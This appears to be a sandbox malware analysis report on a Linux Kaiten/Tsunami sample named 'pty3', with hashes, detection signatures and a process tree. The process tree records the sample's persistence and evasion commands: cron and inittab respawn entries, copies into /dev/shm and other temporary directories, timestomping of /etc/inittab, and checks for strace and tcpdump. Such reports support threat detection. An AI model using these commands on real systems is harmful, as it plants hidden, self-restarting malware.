Analysis
- max time kernel
149s - max time network
151s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
22/07/2026, 00:18
Behavioral task
behavioral1
Sample
pty3
Resource
ubuntu1804-amd64-20260513-en
10 signatures
150 seconds
General
- Target pty3
- Size 47KB
- Sample260722-al32qsbl21
- SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
- MD5 b24c8affd984bc47b7a6c5bd11e58b16
- SHA1 cf93381bb17a8e4d82f9184efd10cf1da60986ca
- SHA512 9f31b32ca7da165a99353aee51378d2c1ba0122f47fd0ad09ebaabd1a8477815d99fdc3ff7d6bc0ed2c423be56b217f0695d8744a89ec21e99b59b35b84f1364
- SSDEEP 768:m3QPPFqEChAfmWegsbs6NBFRmU779+AMaE0ygNWthDpXDGsHBUlJvsRDEsdSvnZt:v1COips6bFRmU7Z4aE0ygNWtJNasHMOs
- TLSH T1C723F23B68B656D1D3B5D6FDE97E0AA0F9A1E00925A333415AE03CDC2139CB4055BFB2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1481-1-0x0000000000400000-0x000000000051add0-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.xLwqzd crontab File opened for modification /var/spool/cron/crontabs/tmp.wCayg7 crontab File opened for modification /var/spool/cron/crontabs/tmp.tg8068 crontab File opened for modification /var/spool/cron/crontabs/tmp.dqOecc crontab File opened for modification /var/spool/cron/crontabs/tmp.Ivxywa crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 1574 touch 1593 sh 1510 touch 1554 touch 1573 sh 1594 touch 1509 sh 1533 sh 1534 touch 1553 sh -
resource yara_rule behavioral1/files/fstream-8.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself w6inornnnsgjd7ad 1481 pty3 -
description ioc Process File opened for reading /proc/36/cmdline pidof File opened for reading /proc/1029/cmdline pidof File opened for reading /proc/1049/cmdline pidof File opened for reading /proc/31/stat pidof File opened for reading /proc/176/cmdline pidof File opened for reading /proc/938/cmdline pidof File opened for reading /proc/34/stat pidof File opened for reading /proc/166/cmdline pidof File opened for reading /proc/1158/stat pidof File opened for reading /proc/14/stat pidof File opened for reading /proc/446/cmdline pidof File opened for reading /proc/173/stat pidof File opened for reading /proc/169/cmdline pidof File opened for reading /proc/701/cmdline pidof File opened for reading /proc/1047/stat pidof File opened for reading /proc/1473/cmdline pidof File opened for reading /proc/164/cmdline pidof File opened for reading /proc/1485/stat pidof File opened for reading /proc/8/stat pidof File opened for reading /proc/163/stat pidof File opened for reading /proc/1051/cmdline pidof File opened for reading /proc/26/stat pidof File opened for reading /proc/80/cmdline pidof File opened for reading /proc/1044/cmdline pidof File opened for reading /proc/1240/cmdline pidof File opened for reading /proc/1448/cmdline pidof File opened for reading /proc/166/stat pidof File opened for reading /proc/1072/stat pidof File opened for reading /proc/1084/cmdline pidof File opened for reading /proc/993/stat pidof File opened for reading /proc/1300/cmdline pidof File opened for reading /proc/944/cmdline pidof File opened for reading /proc/89/cmdline pidof File opened for reading /proc/1171/cmdline pidof File opened for reading /proc/657/stat pidof File opened for reading /proc/1091/cmdline pidof File opened for reading /proc/1305/stat pidof File opened for reading /proc/12/stat pidof File opened for reading /proc/17/stat pidof File opened for reading /proc/428/cmdline pidof File opened for reading /proc/1477/stat pidof File opened for reading /proc/7/stat pidof File opened for reading /proc/18/cmdline pidof File opened for reading /proc/31/stat pidof File opened for reading /proc/165/cmdline pidof File opened for reading /proc/168/stat pidof File opened for reading /proc/78/stat pidof File opened for reading /proc/1051/stat pidof File opened for reading /proc/filesystems cp File opened for reading /proc/20/cmdline pidof File opened for reading /proc/82/stat pidof File opened for reading /proc/86/stat pidof File opened for reading /proc/12/cmdline pidof File opened for reading /proc/23/stat pidof File opened for reading /proc/172/cmdline pidof File opened for reading /proc/522/cmdline pidof File opened for reading /proc/28/stat pidof File opened for reading /proc/83/cmdline pidof File opened for reading /proc/176/stat pidof File opened for reading /proc/1051/cmdline pidof File opened for reading /proc/1301/stat pidof File opened for reading /proc/1086/cmdline pidof File opened for reading /proc/1448/cmdline pidof File opened for reading /proc/89/stat pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty3 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty3
Processes
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/tmp/pty3/tmp/pty31⤵
- Changes its process name
- Writes file to tmp directory
PID:1481 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:1482
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/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:1483
-
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/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:1484
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/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:1485
-
-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"2⤵PID:1490
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/bin/catcat /etc/inittab3⤵PID:1492
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/bin/grepgrep -v /tmp/pty33⤵PID:1493
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/bin/shsh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1491
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/bin/grepgrep -v "no cron"3⤵PID:1497
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/bin/grepgrep /tmp/pty33⤵PID:1496
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/usr/bin/crontabcrontab -l3⤵PID:1495
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1502
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/usr/bin/crontabcrontab -l3⤵PID:1504
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-
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/bin/shsh -c "crontab -r"2⤵PID:1494
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/usr/bin/crontabcrontab -r3⤵PID:1498
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-
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"2⤵PID:1500
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1503
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/bin/catcat /etc/inittab23⤵PID:1505
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1507
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/bin/rmrm -rf /etc/inittab23⤵PID:1508
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1509 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1510
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/bin/shsh -c "/bin/uname -n"2⤵PID:1513
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/bin/uname/bin/uname -n3⤵PID:1515
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/bin/shsh -c "cp -f /tmp/pty3 /dev/shm/pty3"2⤵PID:1514
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/bin/cpcp -f /tmp/pty3 /dev/shm/pty33⤵
- Writes file to shm directory
PID:1516
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"2⤵PID:1518
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/bin/grepgrep -v /dev/shm/pty33⤵PID:1520
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/bin/catcat /etc/inittab3⤵PID:1519
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-
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/bin/shsh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1521
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/bin/grepgrep -v "no cron"3⤵PID:1524
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/bin/grepgrep /dev/shm/pty33⤵PID:1523
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/usr/bin/crontabcrontab -l3⤵PID:1522
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1527
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/usr/bin/crontabcrontab -l3⤵PID:1529
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-
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"2⤵PID:1525
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1528
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/bin/catcat /etc/inittab23⤵PID:1530
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1531
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/bin/rmrm -rf /etc/inittab23⤵PID:1532
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1533 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1534
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-
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/bin/shsh -c "cp -f /tmp/pty3 /var/tmp/pty3"2⤵PID:1535
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/bin/cpcp -f /tmp/pty3 /var/tmp/pty33⤵PID:1536
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"2⤵PID:1538
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/bin/grepgrep -v /var/tmp/pty33⤵PID:1540
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/bin/catcat /etc/inittab3⤵PID:1539
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/bin/shsh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1541
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/bin/grepgrep -v "no cron"3⤵PID:1544
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/bin/grepgrep /var/tmp/pty33⤵PID:1543
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/usr/bin/crontabcrontab -l3⤵PID:1542
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1547
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/usr/bin/crontabcrontab -l3⤵PID:1549
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"2⤵PID:1545
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1548
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/bin/catcat /etc/inittab23⤵PID:1550
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1551
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/bin/rmrm -rf /etc/inittab23⤵PID:1552
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1553 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1554
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/bin/shsh -c "cp -f /tmp/pty3 /var/lock/pty3"2⤵PID:1555
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/bin/cpcp -f /tmp/pty3 /var/lock/pty33⤵
- Reads runtime system information
PID:1556
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"2⤵PID:1558
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/bin/grepgrep -v /var/lock/pty33⤵PID:1560
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/bin/catcat /etc/inittab3⤵PID:1559
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/bin/shsh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1561
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/bin/grepgrep -v "no cron"3⤵PID:1564
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/bin/grepgrep /var/lock/pty33⤵PID:1563
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/usr/bin/crontabcrontab -l3⤵PID:1562
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1568
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/usr/bin/crontabcrontab -l3⤵PID:1570
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"2⤵PID:1565
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1566
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/bin/catcat /etc/inittab23⤵PID:1569
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1571
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/bin/rmrm -rf /etc/inittab23⤵PID:1572
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1573 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1574
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/bin/shsh -c "cp -f /tmp/pty3 /var/run/pty3"2⤵PID:1575
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/bin/cpcp -f /tmp/pty3 /var/run/pty33⤵PID:1576
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"2⤵PID:1578
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/bin/grepgrep -v /var/run/pty33⤵PID:1580
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/bin/catcat /etc/inittab3⤵PID:1579
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/bin/shsh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1581
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/bin/grepgrep -v "no cron"3⤵PID:1584
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/bin/grepgrep /var/run/pty33⤵PID:1583
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/usr/bin/crontabcrontab -l3⤵PID:1582
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1587
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/usr/bin/crontabcrontab -l3⤵PID:1589
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"2⤵PID:1585
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1588
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/bin/catcat /etc/inittab23⤵PID:1590
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1591
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/bin/rmrm -rf /etc/inittab23⤵PID:1592
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1593 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1594
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /dev/shm/pty3
- Size 47KB
- SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
- MD5 b24c8affd984bc47b7a6c5bd11e58b16
- SHA1 cf93381bb17a8e4d82f9184efd10cf1da60986ca
- SHA512 9f31b32ca7da165a99353aee51378d2c1ba0122f47fd0ad09ebaabd1a8477815d99fdc3ff7d6bc0ed2c423be56b217f0695d8744a89ec21e99b59b35b84f1364
- SSDEEP 768:m3QPPFqEChAfmWegsbs6NBFRmU779+AMaE0ygNWthDpXDGsHBUlJvsRDEsdSvnZt:v1COips6bFRmU7Z4aE0ygNWtJNasHMOs
- TLSH T1C723F23B68B656D1D3B5D6FDE97E0AA0F9A1E00925A333415AE03CDC2139CB4055BFB2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab
- Size 83B
- SHA256 0a4eb5870807ef4406d093845baf96e7f8cc59effda08f32a4d73d489264d11a
- MD5 6665b7449ec290b0dd8d4d18c402d000
- SHA1 35f738f53b07e9a2a67ffc577888d42a180a48f0
- SHA512 ac4ad3cb5a7643a0c6f3efa942b31fe6d8f1527550d3e4992d1392f833c888fd3965ea71301e790943143ebaf7870ac623232253c85bb99b3e10c6163cd03a9f
- TLSH T104A00103F0712DAC91F0A1AA1A14018A82439700D6874B18C6433E72D208F0BBD75026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab
- Size 113B
- SHA256 247ae0a8c28f9e39397c45a9e586b8b2c371878cf8814f9cf41c76aa05939552
- MD5 582c739181f12796f80db1f6ea7f916a
- SHA1 7c645a1c9a0de591d0b6a5b6682aa0d7dac9786f
- SHA512 8d6c2678e3eeb34094507622578f4acd36952a18374244a109c899a30ddbc1193943941fd697a6739994326fe700d43b031b24d8114e80c7cf5698b82d26c972
- TLSH T1A6B00207F4711DBC91F4A5AA1E54019A82435700D5474B18C5477D72D208F0B7D75166
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 54B
- SHA256 e5018fad1758921486984b6c0d39050ec65f06908d99387dc15363ca5557c581
- MD5 ffcc9669bca82a891cd1913d74957256
- SHA1 fc608c695927cfc3b8bd3d5e6fc7a28bdc04942d
- SHA512 4510b7b1eb8727ae6ba851908ac4fce20febb42c095cbf5b29c5acef7081fe0afa21a855eebb88d40668b330c69086dc1f07ead708b23fe0747215c3677beb19
- TLSH T1C3900203F0501D1C91B0A0990A00018582035700D5870B1881432D72D208F0B7D74002
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 142B
- SHA256 bf7a744dcb866fe6c59f07c77d2b579c84b057f79321028b6b45320e4f6a2eed
- MD5 5ff9d0108fcfd3fe6d507a5c71471ff7
- SHA1 dc713d40f4f57f8c428c4e69d8773ce4baa39299
- SHA512 ffca8f8bac306f7910a8d62ab68083ae78206bdbb7efcd4aaeb5bbf7a0bb56841fa70e359daf3954912c649779e409284c40e5ad3c7e562fe04c359c038bb834
- TLSH T151C04803F0322CBC84F0A2EA0E28008A82834300D1438B08C9073D72C208F0B7C7002A
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 25B
- SHA256 bf305607b10a91ee18ceef3ca7843f016eba8e25cfaa8c4bb88ae79c2c06f561
- MD5 d2bfd916c7f8e566ced31a47803f8b64
- SHA1 03a323e7ff70c521402bca605ed8d600ebd02320
- SHA512 2ddb3235d48a0c3111f8e37faa45e2e908c9876789e429fd252fd81fad5242f2bb0c1ab1c32aac0036b9c7608d8f0431812319d6102afd60b172a343e439985b
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.Ivxywa
- Size 344B
- SHA256 c9d935118fd2a2498450abacff88a2b6506edfbd8327e3be195f4b699b34af17
- MD5 277b9e828627c5851969b6eb60d6b4aa
- SHA1 620782918bedea047e7bc14690a679467769ea6f
- SHA512 94d551e1b3813b1248c3538d417f01df65fe9227c251b9db93654e9ea14886796edd07d59e4a59c4e469f47c10ce84d79a8f7d87c0bd42bad5b8425495516d98
- TLSH T1A5E08638BB701CE53D884A78189F70D81BC3752E402D6E40F1CE6924554D70FF640AB1
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.dqOecc
- Size 300B
- SHA256 f235a560ece0dc31ef8ea86a352921aee790dffe08dd95395d8c36c3cbd302f5
- MD5 1c324fb53ae1cf01d5aaaa44506b120e
- SHA1 c6095a1705041056dd7209ed8ec9baa9b3cd6f27
- SHA512 669fa3b274cd3f975f5b89a25b3afd48c71eecd568710c0bb95ae2ce24ae16f0bf7092f4ab5622957a54c29750043a215cc84562922a7da70ea3a47b0096a2c7
- TLSH T114E0C238BB602CA03D484A78149B60C81A83B52E802D6E40F1CE1924414D70FF6009B1
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.tg8068
- Size 257B
- SHA256 e03b33e50e101f4a64d8117297c40507f1813f6074c04b610df82dcad5937e5d
- MD5 1c65057654ea577f7a5004782c25a5e1
- SHA1 99ba780cf9c168fced06012bf154c998c442ac07
- SHA512 4912d255a3ce8dcc03b8672288ad23249e72e5ebfc7940c03fc1d63bfe27e436f946ad8175de88bd4f9c72008ef7302bbbb1fb187e050b9edd9c61ea13d2348e
- TLSH T131D09738BB602C703E080B38048B20C81A83B43E801DAF40F0CE0824420DB0FFB009B1
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.wCayg7
- Size 214B
- SHA256 aa35fa8a99b5cdd5dde9ca947d638deb6e1f76b8469ba5ff31f83d75a3cf49ef
- MD5 372b7f4a41e1fceac780ad41e8880a48
- SHA1 700cfb42d02de56a2c2e94edaac5103f263c038e
- SHA512 302e778c0755a0494469ff5e44bed328b8034e2fe25d364e44c90239c5378247ba817434d11b3fb6bfb690cf5a1e7ecadd750add71e49cc5be6593604dbce49e
- TLSH T185D0223D7F202D302E480B58109B219C5982B07E800DAE40E1DD1828020EB4FBB409B2
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.xLwqzd
- Size 387B
- SHA256 60a0c665fca6775a912765ca1eb46776e2e062305af72f6cf60d3e33b9db8201
- MD5 f652119be7c9fa08a9484f96f3a9249d
- SHA1 9859dc5c0b28d102b2d0bbfc073340c6640c2f7e
- SHA512 00bf6d6d0ababb5064d456aacae397dd7b8a94826a3a659bb06f863de2b816ef6fa72240ebdfbe87b039da77e61edb42d9efc0d45c0b26a1fb52635c80ee4084
- TLSH T1B4E04834B7711CE53D884A7C189F70D41BC3752E402D6E40F1CE6924554D70FF640AB1
- MD5 SHA1 SHA512 TLSH